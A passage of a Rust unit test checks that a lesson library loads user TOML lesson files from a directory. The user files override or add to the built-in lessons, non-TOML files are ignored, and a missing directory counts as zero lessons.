2287        ));
2288        std::fs::create_dir_all(&dir).unwrap();
2289
2290        // Write an example user lesson that overrides a built-in by id
2291        let mut custom = create_navigation_basics_lesson();
2292        custom.title = "Navigation Basics (User Override)".to_string();
2293        std::fs::write(dir.join("nav-basics.toml"), custom.to_toml().unwrap()).unwrap();
2294
2295        // And a brand-new user lesson
2296        let mut extra = create_navigation_basics_lesson();
2297        extra.id = "user-extra".to_string();
2298        extra.title = "User Extra Lesson".to_string();
2299        std::fs::write(dir.join("user-extra.toml"), extra.to_toml().unwrap()).unwrap();
2300
2301        // Non-TOML files are ignored
2302        std::fs::write(dir.join("notes.txt"), "not a lesson").unwrap();
2303
2304        let mut library = LessonLibrary::new();
2305        let builtin_count = library.all().len();
2306        let loaded = library.load_from_dir(&dir).expect("load_from_dir should succeed");
2307
2308        assert_eq!(loaded, 2);
2309        // Override replaces, new lesson adds
2310        assert_eq!(library.all().len(), builtin_count + 1);
2311        assert_eq!(
2312            library.get("nav-basics").unwrap().title,
2313            "Navigation Basics (User Override)"
2314        );
2315        assert_eq!(library.get("user-extra").unwrap().title, "User Extra Lesson");
2316
2317        // Missing directory is not an error
2318        let mut fresh = LessonLibrary::new();
2319        assert_eq!(fresh.load_from_dir(&dir.join("does-not-exist")).unwrap(), 0);
2320
2321        let _ = std::fs::remove_dir_all(&dir);
2322    }
2323}